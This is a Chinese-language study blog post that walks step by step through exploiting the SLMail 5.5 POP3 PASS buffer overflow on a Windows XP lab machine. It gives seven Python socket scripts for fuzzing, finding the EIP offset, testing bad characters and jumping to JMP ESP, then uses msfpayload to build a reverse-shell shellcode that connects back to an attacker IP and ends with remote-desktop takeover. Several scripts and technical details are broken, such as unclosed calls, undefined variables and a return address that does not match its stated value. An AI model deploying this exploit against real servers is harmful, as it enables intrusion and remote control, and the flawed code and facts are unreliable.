前言
前几天在学漏洞扫描
主要就是openvas和nessus的运用
就没有写笔记
可以参考
https://blog.csdn.net/Kevinhanser/article/details/79506904
https://blog.csdn.net/weixin_34241036/article/details/93187026
https://blog.csdn.net/wwl012345/article/details/96998187?ops_request_misc=%7B%22request%5Fid%22%3A%22158314087819725256756581%22%2C%22scm%22%3A%2220140713.130056874..%22%7D&request_id=158314087819725256756581&biz_id=0&utm_source=distribute.pc_search_result.none-task
之前一直都是扫描发现漏洞
现在开始,学习利用漏洞进行攻防
程序漏洞来源在于
- 变量是根源
- 数据和代码边界不清
一个简单的例子
最简漏洞原理——shell脚本漏洞
ld.sh
#!/bin/bash
echo &1
#显然就是个显示字符的脚本
#如果输入一个系统命令,并不会执行
#如果在系统命令前加入";",系统命令被执行
#如./ld.sh ;pwd
缓冲区溢出就是种简单的可以
1、缓冲区溢出简介
当缓冲区边界限制不严格时
由于变量传入畸形数据或程序运行错误
导致缓冲区被“撑爆”,覆盖相邻内存区域的数据
然后可以
- 修改内存数据
- 造成进程劫持
- 执行恶意代码
- 获取服务器控制器
发现漏洞的方法:
- 源码审计
- 逆向工程
- 模糊测试
- 向程序堆栈半随机数据,根据内存变化判断溢出
- 数据生成器:生成随机、半随机数据
- 测试工具:识别溢出漏洞
- 对未知协议,可以查RFC或用wireshark抓包
2、以SLMail为例完成一次缓冲区溢出
实验准备
目标主机:windows xp(win7以上修复了相关漏洞)注意win的25和110端口要打开
所需程序:SLMail 5.5.0 Mail Server、ImmunityDebugger_1_85_setup.exe、mona.py
原理:
用kali向win的SLMail进行攻击
nc 连接 110端口
输入
USER test
PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#PASS传输足够大的数据,就会缓冲区溢出,覆盖相邻内存
然后通过在溢出的内存上放置shellcode来实现攻击
下面一步步来
实现连接
脚本01.py实现连接和发送指令
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print("\nSending evil buffer...")
s.connect(('192.168.1.119',110) #连接SLMail
data=s.recv(1024)
print(data)
s.send('USER test'+'\r\n')
data=s.recv(1024)
print(data)
s.send('PASS test\r\n')
data=s.recv(1024)
print(data)
s.close()
print("\nDone")
except:
print("Could not connect to POP3")
模糊测试
发送大量数据看是否会溢出
脚本02.py不断增大数据并确定临界
#!/usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer)<=30:
buffer.append("A"*counter)
counter+=200
for string in buffer:
print("\nSending evil buffer...")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.119',110) #连接SLMail
data=s.recv(1024)
s.send('USER test'+'\r\n')
data=s.recv(1024)
s.send('PASS'+buffer+'\r\n')
s.send('QUIT\r\n')
s.close()
发现2700个左右会发生溢出
定位边界
ImmunityDebugger
可以对exe进行汇编调试
也可以对进程attach进行调试
对110端口的进程进行调试
关注寄存器EIP(存放下一条指令地址),会被覆盖
kali执行
/usr/share/metasploit-framework/tools/
./pattern_create.rb 2700
生成2700个唯一字符串设为str
脚本03.py定位溢出临界
#!/usr/bin/python
import socket
buffer=str #上面生成的字符串str
try:
print("Fuzzing PASSwith %s bytes" %len(string))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.119',110) #连接SLMail
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS'+string+'\r\n')
s.close()
print("\nDone")
except:
print("Could not connect to POP3")
然后根据EIP的内容可以定位溢出字符
例EIP 39694438
./pattern_offset.rb 39694438 #定位成功2606
注意内存内容左右反的
探寻存放空间
因为已经实现可以精确修改EIP和ESP的内容
现在探寻ESP空间是否足够大,可以放shellcode
如果可行,把shellcode写入ESP
把ESP的地址写入EIP
这样系统读取EIP会执行shellcode
脚本04.py探寻ESP空间
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="A"*2606+"B"*4+"C"*(3500-2606-4)
try:
print("Sending evil buffer...")
s.connect(('192.168.1.119',110) #连接SLMail
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS'+buffer+'\r\n')
s.close()
print("\nDone")
except:
print("Could not connect to POP3")
计算一下发现是416B,够放shellcode
坏字符剔除
不同类型的程序、协议等,会将某些字符认为是坏字符
在返回地址、shellcode、buffer中都不能出现坏字符
在pop3中,null、byte、(0x00)是空字符,用于终止字符串的拷贝
return(0x00)回车操作,表示PASS输入完成
为了查找所有坏字符
发送0x00-0xff这256个字符,进行测试
脚本05.py测试坏字符
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchars=(
"\x01\x02......\x10"
"\x11......"
"......"
"\xf1......\xff\x00") #把所有256个字符罗列完
buffer="A"*2606+"B"*4+badchars
try:
print("Sending evil buffer...")
s.connect(('192.168.1.119',110) #连接SLMail
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS'+buffer+'\r\n')
s.close()
print("\nDone")
except:
print("Could not connect to POP3")
根据结果不断修改和测试
以找出所有坏字符
ESP的地址
ESP的地址会变化,不可硬编码
寻找地址固定的系统模块,且其中有JUMP ESP指令
然后可以在EIP里放这个指令的地址
从而跳到ESP来执行shellcode
mona里有相应模块
在ImmunityDebugger中执行
!mona modules #查看模块
看rebase是False 即重启不变
看safe、ADLR、DEP是False即安全模块不开
看OS Dil是True即操作系统自带
找到符合条件的模块(如slmfc.dil)后看他是否有jump esp指令
kali里执行
cd /usr/share/metasploit-framework/tools
./nasm_shell.rb #将汇编语言转换为二进制
>jmp esp #得到二进制
在ImmunityDebugger中执行
!mona find -s "\xff\xe4" -m slmfc.dil
找到指令地址5F4B41E3并设置断点
脚本06.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="A"*2606+"\x03\x41\x4b\x5f"+"C"*390 #注意内存地址是全反的
try:
print("Sending evil buffer...")
s.connect(('192.168.1.119',110) #连接SLMail
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS'+buffer+'\r\n')
s.close()
print("\nDone")
except:
print("Could not connect to POP3")
通过调试,已经可以令系统跳转到ESP了
shellcode
kali里面
cd /usr/share/framework2/
./msfpayload -l #查看msfpayload里的shellcode
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C #反向连接,指定自己的IP和端口,C说明是C语言
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" #把坏字符编掉,R用来编码
生成shelllcode
脚本07.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shellcode=("") #在双引号里复制生成的shellcode
buffer="A"*2606+"\x03\x41\x4b\x5f"+"\x90"*8+shellcode #x90是不操作,保证shellcode的有效性
try:
print("Sending evil buffer...")
s.connect(('192.168.1.119',110) #连接SLMail
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS'+buffer+'\r\n')
s.close()
print("\nDone")
except:
print("Could not connect to POP3")
理论上应该能成功
用nc监听下443
然后获得目标主机的shell
获取远程桌面
在shell里修改注册表
打开远程桌面
这个网上蛮多
然后就可以随意发挥了
结语
本次学习较为完整的实现对windows xp的控制
通过SLMail这个经典漏洞
了解了缓冲区溢出的相关知识
参考:
https://blog.csdn.net/levones/article/details/88233190
https://blog.csdn.net/SKI_12/article/details/80950537